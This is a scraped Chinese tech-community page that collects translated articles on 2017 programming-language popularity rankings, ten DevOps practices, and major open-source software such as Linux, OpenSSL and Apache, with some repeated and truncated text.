HackerEarth 每月都会为用户提供大量的编码挑战和应聘机会。该公司支持30多种编程语言,用户可随心选择。HackerEarth 内有100多万名程序员,来看看他们最喜欢使用的是什么:





Indeed

Indeed 是美国最高流量的工作网站之一,可在50多个国家使用,支持28种语言。按照使用量排名,Java 排在第一位,Javascript,PHP 和 C 以一万多的差距尾随其后。令人惊喜的是,R 语言也出现了竞争的势头。




Deepak Garg 教授(数据挖掘以及IEEE计算机协会印度理事会主席的专家)对此的看法是:“计算行业许多工具和应用程序的基本组成都存在着弥合差距,这导致了语言复杂度的演变,使得语言级别比以前更高,这有助于程序员更多地关注逻辑和应用程序,而不仅仅是在实现标准数据类型和构造的复杂结构和语法。

Glassdoor

这个网站的成立使员工可以对组织进行评价。Glassdoor 列出了开发者的工作事项。如果按开发人员的类别排名,该公司最需要的是 Java 开发人员,其次是 Javascript。当然,R 和 C++ 也比较受欢迎,Python 和 Perl 的需求也有了上升。





2017年学习的语言

看这趋势,Java 和 Javascript 依然会是 Web 开发行业最受欢迎的语言,Google 的 Go 也乘胜追击,Ruby 还是比较受初创公司的欢迎。根据数据分析,Mozilla 的 RUST 和 Facebook 的 HACK 在2017年下半年也能挤入排名前列。

2017年排名有望上升的语言:
R——如今,世界对统计数据和数据分析的需求越来越大,如果你发现你的工作内容越来越与R挂钩,那么,R成为2017年最受追捧的语言并不是不可能。

MATLA——一旦成为数学家和科学家的核心语言,MATLAB 在分析和统计的领域发挥的作用会越来越大,会有更多的开发人员将回到 MATLAB,因为数学分析的复杂性正在增加。

SQL——随着越来越多的人获得板载技术,数据库的使用一直在呈指数增长。SQL 可谓是为数据库忠实粉量身定做的。

Arduino——这并不是一项新语言,它由 C 和 C++组合而成,随着越来越多的嵌入式芯片等待被编码,Arduino 将有望成为2017年使用的新技能。

Swift——苹果公司面对开发人员的抱怨,决定用 Swift 取代 Objective-C,其编码速度还是十分可观的,目测 Swift 的开发市场会不断扩大。

当然,以上只是我做出的大胆猜测。2017年到底会掀起怎样的编程语言风呢?我们还是拭目以待吧!

译文地址:https://www.oschina.net/news/79650/2017-top-programming-languages
原文地址:http://blog.hackerearth.com/2016/11/top-programming-language-2017.html 查看全部
2017lang.jpg


摘要


想知道全球最受欢迎的编程语言是什么吗?它们的判断标准又是怎样的呢?

我们都知道,C++,MATLAB,Java 一直都受到技术学院的青睐,大多数毕业生都热衷于学习这些语言。但它们是否是业界所需要的呢?抱着这个疑问,我们访问了几个可信度较高的语言索引网站,同时还深入到 Indeed 和 Glassdoor 等全球门户网站,试图收集数据,以总结出全球最受欢迎的语言是哪些,以及行业内最需要的语言是什么。

注:对编程语言进行受欢迎度评选,并不是为了证明哪项语言好,哪项语言不好, 而是希望能通过这一类分析,找出用户最喜欢以及业界最需要的语言。 
 


TIOBE Index


TIOBE 编程社区索引由荷兰 Eindhoven 的 TIOBE 公司创立和维护。TIOBE 代表着“真诚的重要性”,该索引将每项语言作为关键字,按照搜索引擎的查询数量对语言进行排名。因为 TIOBE 只索引图灵完全的语言,因此 SQL 和 HTML 没有考虑在内。2016年11月的排名结果显示,Java 依然是最受大家欢迎的语言,C 和 C++ 排名紧随其后。出人意料的是,Visual Basic 和 Python 排名有大幅上升,并排在了 Javascript 之前,另外,汇编语言也挤入前十:
index.jpg


PYPL


PYPL(编程语言流行指数)依据 Google 上关于语言教程的搜索频率进行统计。从全球搜索引擎流行度来看,Java 依然是大赢家;Python 较之前五年排名提升 6.8%,而 PHP 暴跌5.0%。
PYPL.jpg

Constantin Brancusi 大学的 Adrian Runceanu 教授在 C++,Java,Oracle 方面有16+年的研究经验。关于 C++ 为什么能在跻身编程语言的前十,他是这么说的:

“我认为 C / C ++ 为大家提供了一个很好的使用机制,我们可以用这项语言创建可移植的应用程序,并且,C/C++ 易于学习,很受学生欢迎。其他语言,如,Javascript,Java,Python 则更适合于 Web 应用程序的开发。我相信 C/C++ 在未来几年依然具有支配性。”


StackOverflow


Stack Overflow 是一个问答平台。它有超过400万的用户,问答了1000多万个问题。根据问题情况,Javascript 的使用者比其他语言的都要多。另外,与 Node 和 Angular 相比,PHP 排名有所下滑。
stackoverflow.jpg


GitHub


在2016年9月年度会议之前,Github 在此分享了其统计报告。

在过去的12个月里,Github 的活跃用户数量超过580万,活跃存储库数量超过1940万。随后它在平台上公布了热门语言排行表。我相信看过这个列表的人都会知道 Javascript 占据了榜首,当然这都没什么好惊讶的,值得惊讶的是它赶超竞争对手的程度之大......
github.jpg

 


HackerEarth


HackerEarth 每月都会为用户提供大量的编码挑战和应聘机会。该公司支持30多种编程语言,用户可随心选择。HackerEarth 内有100多万名程序员,来看看他们最喜欢使用的是什么:
HackerEarth.jpg


Indeed


Indeed 是美国最高流量的工作网站之一,可在50多个国家使用,支持28种语言。按照使用量排名,Java 排在第一位,Javascript,PHP 和 C 以一万多的差距尾随其后。令人惊喜的是,R 语言也出现了竞争的势头。
indeed.jpg

Deepak Garg 教授(数据挖掘以及IEEE计算机协会印度理事会主席的专家)对此的看法是:“计算行业许多工具和应用程序的基本组成都存在着弥合差距,这导致了语言复杂度的演变,使得语言级别比以前更高,这有助于程序员更多地关注逻辑和应用程序,而不仅仅是在实现标准数据类型和构造的复杂结构和语法。


Glassdoor


这个网站的成立使员工可以对组织进行评价。Glassdoor 列出了开发者的工作事项。如果按开发人员的类别排名,该公司最需要的是 Java 开发人员,其次是 Javascript。当然,R 和 C++ 也比较受欢迎,Python 和 Perl 的需求也有了上升。
Glassdoor.jpg


2017年学习的语言


看这趋势,Java 和 Javascript 依然会是 Web 开发行业最受欢迎的语言,Google 的 Go 也乘胜追击,Ruby 还是比较受初创公司的欢迎。根据数据分析,Mozilla 的 RUST 和 Facebook 的 HACK 在2017年下半年也能挤入排名前列。

2017年排名有望上升的语言:
R——如今,世界对统计数据和数据分析的需求越来越大,如果你发现你的工作内容越来越与R挂钩,那么,R成为2017年最受追捧的语言并不是不可能。

MATLA——一旦成为数学家和科学家的核心语言,MATLAB 在分析和统计的领域发挥的作用会越来越大,会有更多的开发人员将回到 MATLAB,因为数学分析的复杂性正在增加。

SQL——随着越来越多的人获得板载技术,数据库的使用一直在呈指数增长。SQL 可谓是为数据库忠实粉量身定做的。

Arduino——这并不是一项新语言,它由 C 和 C++组合而成,随着越来越多的嵌入式芯片等待被编码,Arduino 将有望成为2017年使用的新技能。

Swift——苹果公司面对开发人员的抱怨,决定用 Swift 取代 Objective-C,其编码速度还是十分可观的,目测 Swift 的开发市场会不断扩大。

当然,以上只是我做出的大胆猜测。2017年到底会掀起怎样的编程语言风呢?我们还是拭目以待吧!


译文地址:https://www.oschina.net/news/79650/2017-top-programming-languages
原文地址:http://blog.hackerearth.com/2016/11/top-programming-language-2017.html


2016北京架构师峰会PPT分享

回复

OpenSkill 发起了问题 • 1 人关注 • 0 个回复 • 269 次浏览 • 2016-12-06 12:47 • 来自相关话题

高效DevOps的10项实践「翻译」

小白菜 发表了文章 • 0 个评论 • 312 次浏览 • 2016-09-09 15:49 • 来自相关话题

采用这些DevOps实践可以实现高效协作,平滑运营,更整洁的代码等目标。

DevOps已经成为了我们行业最热门的流行语之一。然而出人意料的是,在更紧密的愿景和开发团队和运营团队更有效的协作之上,很少有共识DevOps到底意味着什么。不同组织对DevOps有着不同的定义,其实DevOps有个新兴的最佳实践核心,其更进一步的目标是高度协作以生产更好的软件。在这里我考验了这些实践。但是坦白说,我并不只从开发人员角度来观察这些实践。

我按优先级从高到低列出了这些实践条目,后面的实践往往依赖于前面的实践。

实践1:利益相关者的积极参与

DevOps的根本原则是开发人员,运营人员以及支持人员必须定期紧密的工作在一起。言外之意是他们必须互相视对方为重要的利益相关人,并积极争取一起工作。敏捷社区中一个普遍的实践是“现场客户”。这个实践出自于极限编程,它鼓励开发人员应该与业务人员紧密合作。规范的敏捷团队将该实践更进一步,即利益相关的积极参与,这意味着开发人员应该与所有利益相关者一起紧密工作,包括运营人员及支持人员,而不仅仅是业务人员。这是双向的:运营人员和支持人员也必须愿意和开发人员紧密工作。
 

实践2:自动化测试

敏捷软件开发人员被称为质量感染者,这是因为他们关注于编写高质量的代码,渴望测试越早开始越好。结果,自动化的回归测试是敏捷团队普遍采用的实践。该实践有时又被扩展为测试先行的方式,比如测试驱动开发(TDD),以及行为驱动开发(BDD)。由于敏捷团队经常一天多次运行他们的自动化测试集,并且能够马上修复发现的问题,所以他们比普通团队能达到更高的质量。对于运营人员而言,在同意一个解决方案发布到产品环境前,坚持足够的质量审查,这是件好事情。
 

实践3:集成配置管理

要实现以集成的方式来进行配置管理(CM),开发团队不仅要习惯于在解决方案层级应用CM,还需要考虑自身的解决方案与组织的其余基础设施之间的 产品环境配置问题。对于一些开发人员而言这是个不小的转变,因为他们往往习惯于只考虑当前他们工作的解决方案的CM。在DevOps环境中,开发人员需要拥有企业级视角,在更高的层次看待问题。他们的解决方案如何能在产品环境结合其它资源带来优势?其它资源是否能支持被开发的解决方案?言外之意是开发团队需要了解及管理他们产品的所有范围的依赖。集成配置管理也使得运营人员了解新的发布潜在的影响,从而更容易决定进行发布的时间。
 

实践4:综合变更管理

从IT的角度来看,变更管理是一门确保IT基础设施的演化能对整体组织的支持成功及有意义的艺术。但是对于项目-团队层级则颇具挑战。这是因为非常多的技术,甚至相似技术的多个版本会被使用在单个解决方案的开发过程中。由于DevOps引入了与运营有关的企业级问题,综合变更管理策略会变得越来越复杂,因为需要考虑大量的解决方案能够在产品环境中同时运行和交互。为了实现综合变更管理,开发团队必须与运营团队紧密合作,来从组织层面了解任何技术的改变带来的影响。该方式依赖于前面的实践-利益相关者的积极参与,集成配置管理及自动化测试。
 

实践5:持续集成

持续集成(CI)是构建及验证项目的规范,当有代码更新被迁入到版本控制系统时,会进行自动化的回归测试及代码分析。CI是与DevOps相关的性感的敏捷开发实践之一(至少从开发人员角度来说是如此)。CI确保开发人员以较小的,可以对代码缺陷立即反馈的常规步骤来开发一个高质量的可以工作的解决方案。
 

实践6:集成部署计划

从开发团队角度而言,部署计划总是需要与该组织的运营人员交互。有些情况下,与运营人员接口的专家被特称为发布工程师。经验丰富的团队将使开发,运营及支持团队这些利益相关者一起持续的制定部署计划。当你采用了DevOps策略,你会很快意识到需要一种跨团队的方式来完成发布计划,因为需要运营人员与整个开发团队一起工作。对于运营人员来说这不是什么新鲜事,但是对于只习惯工作于孤立环境的开发团队来说却很惊奇。如果你的团队还没有这样做,你需要开始从组织层面来考虑部署时间表。更远一步,为了支持持续部署,发布工程师需要增加发布次数,因为敏捷团队已经可以持续及一致地达到发布的质量要求。
 

实践7:持续部署

持续部署是持续集成实践的扩展。对于持续部署,当集成在一个沙盒中成功完成时,变更会被自动升迁到另一个沙盒中,集成会自动的在这里进行。自动升迁一直持续,直到有人验证了所有的变更,特别是开发向运营的过渡期。

持续部署使得开发团队减少了新功能从被验证到部署到产品环境的时间,使得业务更具响应性。然而,持续部署增加了运营风险,因为如果开发团队没严格遵守规范,会增加缺陷被引入到产品环境的潜在风险。在企业级环境中成功的执行持续部署要求实现前面介绍的所有实践。
 

实践8:产品支持

企业级环境中,大多数的应用程序开发团队工作在已经存在于产品环境的解决方案的新的功能上。他们不仅工作于该新功能,还有解决严重的产品问题的职责。开发团队往往被称为产品的“第3级支持”,因为他们是解决棘手的产品问题的第三个(也是最后一个)团队。尽管做第三级产品支持的需要是普遍的,但是看板和规范敏捷交付(Disciplined Agile Delivery, DAD)则是例外,很多敏捷方法只解决传递这些影响。该实践的一个重要的副作用是给予了开发者发生在产品中的此类问题的鉴别能力,提供给他们一种学习机会,从而在设计解决方案时就考虑到相应的问题。
 

实践9:应用监控

正如其名称所示,这是一个运营实践,监控已经发布到产品的环境的正在运行的解决方案和应用程序。技术基础设施平台(比如操作系统),应用程序服务器,以及通讯服务通常提供监控功能,可以工作于一些监控工具(比如微软管理终端,IBM Tivoli 监控, 以及jManage)。然而,为了监控特定应用程序的功能,比如只给特定用户使用的用户界面,仪表化该信息需要与你组织的监控基础设施兼容,这需要构建到应用程序中。开发团队需要知道该运营要求,或者,更好的方式是可以访问一个框架,该框架可以直接提供相应的仪表化。
 

实践10:自动化的仪表盘

使用自动化仪表盘的实践是IT领域的商业智能(business intelligence, BI)。该实践分为两个方面,开发智能以及运营智能。开发智能需要使用开发工具来仪表化产生的指标。例如,你的配置管理(CM)工具已经记录了谁以及什么时候迁入代码。持续集成工具可能同样记录了构建发生的时间,运行了多少个测试,测试运行的时间,构建是成功还是失败,运行成功的测试数量等。这些原始数据会被分析并显示在一个自动化的仪表盘中。运营智能是之前讨论过的应用程序监控的一个方面。使用了自动化仪表盘,组织的整体指标开销将被显著降低(但是不能完全淘汰,因为不是所有的事情都能被自动化)。自动化仪表盘提供了实时的对组织的管理团队的洞察。
 

DevOps与文化息息相关

在讨论了这些苛刻的支持DevOps的实践之后,我需要强调主要的限制成功的因素是能否建立一个贯穿整个IT组织的相互协作的相互尊敬的文化。我的经验是,当决定采用高效的DevOps策略时,人及他们相互工作的方式是成功的主要决定因素。不幸的是,在组织中带来文化变迁比采用一些新的实践要难得多。

原文地址:http://www.drdobbs.com/architecture-and-design/top-10-practices-for-effective-devops/240149363?pgno=1
作者:Scott W. Ambler
翻译:黄博文@无敌北瓜  查看全部
采用这些DevOps实践可以实现高效协作,平滑运营,更整洁的代码等目标。

DevOps已经成为了我们行业最热门的流行语之一。然而出人意料的是,在更紧密的愿景和开发团队和运营团队更有效的协作之上,很少有共识DevOps到底意味着什么。不同组织对DevOps有着不同的定义,其实DevOps有个新兴的最佳实践核心,其更进一步的目标是高度协作以生产更好的软件。在这里我考验了这些实践。但是坦白说,我并不只从开发人员角度来观察这些实践。

我按优先级从高到低列出了这些实践条目,后面的实践往往依赖于前面的实践。


实践1:利益相关者的积极参与


DevOps的根本原则是开发人员,运营人员以及支持人员必须定期紧密的工作在一起。言外之意是他们必须互相视对方为重要的利益相关人,并积极争取一起工作。敏捷社区中一个普遍的实践是“现场客户”。这个实践出自于极限编程,它鼓励开发人员应该与业务人员紧密合作。规范的敏捷团队将该实践更进一步,即利益相关的积极参与,这意味着开发人员应该与所有利益相关者一起紧密工作,包括运营人员及支持人员,而不仅仅是业务人员。这是双向的:运营人员和支持人员也必须愿意和开发人员紧密工作。
 


实践2:自动化测试


敏捷软件开发人员被称为质量感染者,这是因为他们关注于编写高质量的代码,渴望测试越早开始越好。结果,自动化的回归测试是敏捷团队普遍采用的实践。该实践有时又被扩展为测试先行的方式,比如测试驱动开发(TDD),以及行为驱动开发(BDD)。由于敏捷团队经常一天多次运行他们的自动化测试集,并且能够马上修复发现的问题,所以他们比普通团队能达到更高的质量。对于运营人员而言,在同意一个解决方案发布到产品环境前,坚持足够的质量审查,这是件好事情。
 


实践3:集成配置管理


要实现以集成的方式来进行配置管理(CM),开发团队不仅要习惯于在解决方案层级应用CM,还需要考虑自身的解决方案与组织的其余基础设施之间的 产品环境配置问题。对于一些开发人员而言这是个不小的转变,因为他们往往习惯于只考虑当前他们工作的解决方案的CM。在DevOps环境中,开发人员需要拥有企业级视角,在更高的层次看待问题。他们的解决方案如何能在产品环境结合其它资源带来优势?其它资源是否能支持被开发的解决方案?言外之意是开发团队需要了解及管理他们产品的所有范围的依赖。集成配置管理也使得运营人员了解新的发布潜在的影响,从而更容易决定进行发布的时间。
 


实践4:综合变更管理


从IT的角度来看,变更管理是一门确保IT基础设施的演化能对整体组织的支持成功及有意义的艺术。但是对于项目-团队层级则颇具挑战。这是因为非常多的技术,甚至相似技术的多个版本会被使用在单个解决方案的开发过程中。由于DevOps引入了与运营有关的企业级问题,综合变更管理策略会变得越来越复杂,因为需要考虑大量的解决方案能够在产品环境中同时运行和交互。为了实现综合变更管理,开发团队必须与运营团队紧密合作,来从组织层面了解任何技术的改变带来的影响。该方式依赖于前面的实践-利益相关者的积极参与,集成配置管理及自动化测试。
 


实践5:持续集成


持续集成(CI)是构建及验证项目的规范,当有代码更新被迁入到版本控制系统时,会进行自动化的回归测试及代码分析。CI是与DevOps相关的性感的敏捷开发实践之一(至少从开发人员角度来说是如此)。CI确保开发人员以较小的,可以对代码缺陷立即反馈的常规步骤来开发一个高质量的可以工作的解决方案。
 


实践6:集成部署计划


从开发团队角度而言,部署计划总是需要与该组织的运营人员交互。有些情况下,与运营人员接口的专家被特称为发布工程师。经验丰富的团队将使开发,运营及支持团队这些利益相关者一起持续的制定部署计划。当你采用了DevOps策略,你会很快意识到需要一种跨团队的方式来完成发布计划,因为需要运营人员与整个开发团队一起工作。对于运营人员来说这不是什么新鲜事,但是对于只习惯工作于孤立环境的开发团队来说却很惊奇。如果你的团队还没有这样做,你需要开始从组织层面来考虑部署时间表。更远一步,为了支持持续部署,发布工程师需要增加发布次数,因为敏捷团队已经可以持续及一致地达到发布的质量要求。
 


实践7:持续部署


持续部署是持续集成实践的扩展。对于持续部署,当集成在一个沙盒中成功完成时,变更会被自动升迁到另一个沙盒中,集成会自动的在这里进行。自动升迁一直持续,直到有人验证了所有的变更,特别是开发向运营的过渡期。

持续部署使得开发团队减少了新功能从被验证到部署到产品环境的时间,使得业务更具响应性。然而,持续部署增加了运营风险,因为如果开发团队没严格遵守规范,会增加缺陷被引入到产品环境的潜在风险。在企业级环境中成功的执行持续部署要求实现前面介绍的所有实践。
 


实践8:产品支持


企业级环境中,大多数的应用程序开发团队工作在已经存在于产品环境的解决方案的新的功能上。他们不仅工作于该新功能,还有解决严重的产品问题的职责。开发团队往往被称为产品的“第3级支持”,因为他们是解决棘手的产品问题的第三个(也是最后一个)团队。尽管做第三级产品支持的需要是普遍的,但是看板和规范敏捷交付(Disciplined Agile Delivery, DAD)则是例外,很多敏捷方法只解决传递这些影响。该实践的一个重要的副作用是给予了开发者发生在产品中的此类问题的鉴别能力,提供给他们一种学习机会,从而在设计解决方案时就考虑到相应的问题。
 


实践9:应用监控


正如其名称所示,这是一个运营实践,监控已经发布到产品的环境的正在运行的解决方案和应用程序。技术基础设施平台(比如操作系统),应用程序服务器,以及通讯服务通常提供监控功能,可以工作于一些监控工具(比如微软管理终端,IBM Tivoli 监控, 以及jManage)。然而,为了监控特定应用程序的功能,比如只给特定用户使用的用户界面,仪表化该信息需要与你组织的监控基础设施兼容,这需要构建到应用程序中。开发团队需要知道该运营要求,或者,更好的方式是可以访问一个框架,该框架可以直接提供相应的仪表化。
 


实践10:自动化的仪表盘


使用自动化仪表盘的实践是IT领域的商业智能(business intelligence, BI)。该实践分为两个方面,开发智能以及运营智能。开发智能需要使用开发工具来仪表化产生的指标。例如,你的配置管理(CM)工具已经记录了谁以及什么时候迁入代码。持续集成工具可能同样记录了构建发生的时间,运行了多少个测试,测试运行的时间,构建是成功还是失败,运行成功的测试数量等。这些原始数据会被分析并显示在一个自动化的仪表盘中。运营智能是之前讨论过的应用程序监控的一个方面。使用了自动化仪表盘,组织的整体指标开销将被显著降低(但是不能完全淘汰,因为不是所有的事情都能被自动化)。自动化仪表盘提供了实时的对组织的管理团队的洞察。
 


DevOps与文化息息相关


在讨论了这些苛刻的支持DevOps的实践之后,我需要强调主要的限制成功的因素是能否建立一个贯穿整个IT组织的相互协作的相互尊敬的文化。我的经验是,当决定采用高效的DevOps策略时,人及他们相互工作的方式是成功的主要决定因素。不幸的是,在组织中带来文化变迁比采用一些新的实践要难得多。


原文地址:http://www.drdobbs.com/architecture-and-design/top-10-practices-for-effective-devops/240149363?pgno=1
作者:Scott W. Ambler
翻译:黄博文@无敌北瓜 


支撑互联网时代的7大开源软件

being 发表了文章 • 0 个评论 • 290 次浏览 • 2016-09-07 00:41 • 来自相关话题

开源软件现在成为整个互联网时代的支撑技术,你可能已经无法离开由开源软件构建起来的网络世界了。下面我们就来看看一些最重要的开源技术。
 

最伟大的互联网开源系统Linux





Linux是一款免费的操作系统,诞生于1991年,用户可以通过网络或其他途径免费获得,并可以任意修改其源代码。

它能运行主要的UNIX工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个性能稳 定的多用户网络操作系统。这个系统是由全世界各地的成千上万的程序员设计和实现的。其目的是建立不受任何商品化软件的版权制约的、全世界都能自由使用的 Unix兼容产品。

Linux可以说是已经无处不在,像Android手机就是以Linux为基础开发的,世界上大多的超级计算机也都采用的Linux系统,大多数的 数据中心使用Linux作为其支撑操作系统。谷歌、百度、淘宝等都通过Linux提供了我们每天用的互联网服务。Linux在航空控制系统中也扮演着重要角色,而且现在互联网的程序员和运维工作人员等,每天基本都是和Linux系统打交道。
 

加密互联网的安全协议OpenSSL





OpenSSL是套开放源代码的软件库包,实现了SSL与TLS协议。OpenSSL可以说是一个基于密码学的安全开发包,囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议,并提供了丰富的应用程序供测试或其它目的使用。

也可以说OpenSSL是网络通信提供安全及数据完整性的一种安全协议,SSL可以在Internet上提供秘密性传输,能使用户/服务器应用之间的通信不被攻击者窃听。OpenSSL被网银、在线支付、电商网站、门户网站、电子邮件等重要网站广泛使用。

去年OpenSSL爆出安全漏洞,因为其应用如此之广,该漏洞爆出让整个互联网都为之震颤。
 

数据仓库大王--MySQL





MySQL是一个开源的小型的数据库管理系统,原开发者为瑞典的MySQL AB公司,该公司于2008年被Sun公司收购。2009年,甲骨文公司(Oracle)收购Sun公司,MySQL成为Oracle旗下产品。

很多信息都是存在数据库里面的,很多工程师在开发一些的小型项目时都会采用这个MySQL数据库。MySQL为C、C++、JAVA、PHP等多重 编程语言提供了API接口。而且支持windows、Mac、Linux等多种系统。这种广泛的支持使其得到更多开发者的青睐,MySQL是开发者需要掌 握的数据库之一。

Mysql最初为小型应用而开发,但现在的Mysql已经不是一个小型数据库了。基本上所有的互联网公司都会使用这个数据库系统,一些金融交易也会 采用Mysql作为数据库引擎。Mysql通过相应的调优既可以支撑大规模的访问,又可以保证数据安全性,已经成为威胁传统商业数据库系统的重要力量。
 

万能开发工具Eclipse





Eclipse 是一个开放源代码的、基于Java的可扩展开发平台。Eclipse最初由OTI和IBM两家公司的IDE产品开发组创建,起始于1999年4月。目前由 IBM牵头,围绕着Eclipse项目已经发展成为了一个庞大的Eclipse联盟,有150多家软件公司参与到Eclipse项目中,其中包括 Borland、Rational Software、Red Hat及Sybase等。

就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。很多Java编程软件都是在Eclipse平台开发的,还有包括 Oracle在内的许多大公司也纷纷加入了该项目,并宣称Eclipse将来能成为可进行任何语言开发的IDE集大成者,使用者只需下载各种语言的插件即可。

Eclipse并不是一个直接服务于消费者的产品,它更像一个工匠手中万用工具,用Eclipse开发者可以打造出各种充满创造性的服务来满足最终用户的需求。
 

互联网的门卫Apache





Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛 使用,也是最流行的Web服务器端软件之一,市场占有率达60%左右。它快速、可靠并且可通过简单的API扩展,它可以和各种解释器配合使用,包括 PHP/Perl/Python等。

Apache就像一个负责的门卫,管理着服务器数据的进出。每当你在你的地址栏里输入http://xxoo.com  的时候,在遥远的远端,很有可能正是一台跑着Apache的服务器,将你需要的信息传输给浏览器。
 

大数据的心脏Hadoop





Hadoop 是一个能够对大量数据进行分布式处理的软件框架,由Apache基金会开发。用户可以在不了解分布式底层细节的情况下,开发分布式程序。Hadoop 一 直帮助解决各种问题,包括超大型数据集的排序和大文件的搜索。它还是各种搜索引擎的核心,比如 Amazon 的 A9 和用于查找酒信息 的 Able Grape 垂直搜索引擎。阿里巴巴集团在商品推荐、用户行为分析、信用计算领域也都有hadoop的应用。

在“大数据”已经成为潮流的当下,Hadoop已经成为最主要的一项技术。可以毫不夸张的说,没有Hadoop,就没有大多数的大数据应用。可以说对一个不知道Hadoop的程序员而言,你已经out了。
 

互联网的“排版引擎”WebKit





说是浏览器内核,其实“排版引擎”更容易理解一些。通过服务器传输给浏览器的信息只是一串乱糟糟的文本。要看到我们平时看到精美的网友,需要浏览器内核对这些文本进行解析,将枯燥的描述“画”成美丽的浏览界面。

WebKit 是一个开源的浏览器引擎,与之相应的引擎有Gecko(Mozilla Firefox 等使用的排版引擎)和Trident(也称为MSHTML,IE 使用的排版引擎)。根据StatCounter的浏览器市场份额调查,于2012年11月,Webkit市占超过了40%,它已经成为拥有最大市场份额的 排版引擎,超越了Internet Explorer所使用的Trident及Firefox所使用的Gecko引擎,并且WebKit份额正在逐年增加。

目前几乎所有网站和网银已经逐渐支持WebKit。WebKit 内核在手机上的应用也十分广泛,例如苹果的Safari、谷歌的Chrome浏览器都是基于这个框架来开发的。
 

总结

很多人可能尚未意识到,我们使用的电脑中运行有开源软件,手机中运行有开源软件,家里的电视也运行有开源软件,甚至小小的数码产品中也运行有开源软件,尤其是互联网服务器端软件,几乎全部是开源软件。毫不夸张地说,开源软件已经渗透到了我们日常生活的方方面面。
 
只有真正的开源软件产品才会做得更好,做得更有历史,会让使用的人由衷的感觉自由和快乐,只有这样才会像民族英雄一样,永远被传唱,被继承和传播,开源软件最大的意义就是众家参与,大家快乐,共同享受,为那些开源的极客们和开源企业致敬! 查看全部
开源软件现在成为整个互联网时代的支撑技术,你可能已经无法离开由开源软件构建起来的网络世界了。下面我们就来看看一些最重要的开源技术。
 


最伟大的互联网开源系统Linux


Linux.png

Linux是一款免费的操作系统,诞生于1991年,用户可以通过网络或其他途径免费获得,并可以任意修改其源代码。

它能运行主要的UNIX工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个性能稳 定的多用户网络操作系统。这个系统是由全世界各地的成千上万的程序员设计和实现的。其目的是建立不受任何商品化软件的版权制约的、全世界都能自由使用的 Unix兼容产品。

Linux可以说是已经无处不在,像Android手机就是以Linux为基础开发的,世界上大多的超级计算机也都采用的Linux系统,大多数的 数据中心使用Linux作为其支撑操作系统。谷歌、百度、淘宝等都通过Linux提供了我们每天用的互联网服务。Linux在航空控制系统中也扮演着重要角色,而且现在互联网的程序员和运维工作人员等,每天基本都是和Linux系统打交道。
 


加密互联网的安全协议OpenSSL


openssl.png

OpenSSL是套开放源代码的软件库包,实现了SSL与TLS协议。OpenSSL可以说是一个基于密码学的安全开发包,囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议,并提供了丰富的应用程序供测试或其它目的使用。

也可以说OpenSSL是网络通信提供安全及数据完整性的一种安全协议,SSL可以在Internet上提供秘密性传输,能使用户/服务器应用之间的通信不被攻击者窃听。OpenSSL被网银、在线支付、电商网站、门户网站、电子邮件等重要网站广泛使用。

去年OpenSSL爆出安全漏洞,因为其应用如此之广,该漏洞爆出让整个互联网都为之震颤。
 


数据仓库大王--MySQL


mysql.png

MySQL是一个开源的小型的数据库管理系统,原开发者为瑞典的MySQL AB公司,该公司于2008年被Sun公司收购。2009年,甲骨文公司(Oracle)收购Sun公司,MySQL成为Oracle旗下产品。

很多信息都是存在数据库里面的,很多工程师在开发一些的小型项目时都会采用这个MySQL数据库。MySQL为C、C++、JAVA、PHP等多重 编程语言提供了API接口。而且支持windows、Mac、Linux等多种系统。这种广泛的支持使其得到更多开发者的青睐,MySQL是开发者需要掌 握的数据库之一。

Mysql最初为小型应用而开发,但现在的Mysql已经不是一个小型数据库了。基本上所有的互联网公司都会使用这个数据库系统,一些金融交易也会 采用Mysql作为数据库引擎。Mysql通过相应的调优既可以支撑大规模的访问,又可以保证数据安全性,已经成为威胁传统商业数据库系统的重要力量。
 


万能开发工具Eclipse


eclipse.png

Eclipse 是一个开放源代码的、基于Java的可扩展开发平台。Eclipse最初由OTI和IBM两家公司的IDE产品开发组创建,起始于1999年4月。目前由 IBM牵头,围绕着Eclipse项目已经发展成为了一个庞大的Eclipse联盟,有150多家软件公司参与到Eclipse项目中,其中包括 Borland、Rational Software、Red Hat及Sybase等。

就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。很多Java编程软件都是在Eclipse平台开发的,还有包括 Oracle在内的许多大公司也纷纷加入了该项目,并宣称Eclipse将来能成为可进行任何语言开发的IDE集大成者,使用者只需下载各种语言的插件即可。

Eclipse并不是一个直接服务于消费者的产品,它更像一个工匠手中万用工具,用Eclipse开发者可以打造出各种充满创造性的服务来满足最终用户的需求。
 


互联网的门卫Apache


apache.png

Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛 使用,也是最流行的Web服务器端软件之一,市场占有率达60%左右。它快速、可靠并且可通过简单的API扩展,它可以和各种解释器配合使用,包括 PHP/Perl/Python等。

Apache就像一个负责的门卫,管理着服务器数据的进出。每当你在你的地址栏里输入http://xxoo.com  的时候,在遥远的远端,很有可能正是一台跑着Apache的服务器,将你需要的信息传输给浏览器。
 


大数据的心脏Hadoop


hadoop.png

Hadoop 是一个能够对大量数据进行分布式处理的软件框架,由Apache基金会开发。用户可以在不了解分布式底层细节的情况下,开发分布式程序。Hadoop 一 直帮助解决各种问题,包括超大型数据集的排序和大文件的搜索。它还是各种搜索引擎的核心,比如 Amazon 的 A9 和用于查找酒信息 的 Able Grape 垂直搜索引擎。阿里巴巴集团在商品推荐、用户行为分析、信用计算领域也都有hadoop的应用。

在“大数据”已经成为潮流的当下,Hadoop已经成为最主要的一项技术。可以毫不夸张的说,没有Hadoop,就没有大多数的大数据应用。可以说对一个不知道Hadoop的程序员而言,你已经out了。
 


互联网的“排版引擎”WebKit


webkit.jpg

说是浏览器内核,其实“排版引擎”更容易理解一些。通过服务器传输给浏览器的信息只是一串乱糟糟的文本。要看到我们平时看到精美的网友,需要浏览器内核对这些文本进行解析,将枯燥的描述“画”成美丽的浏览界面。

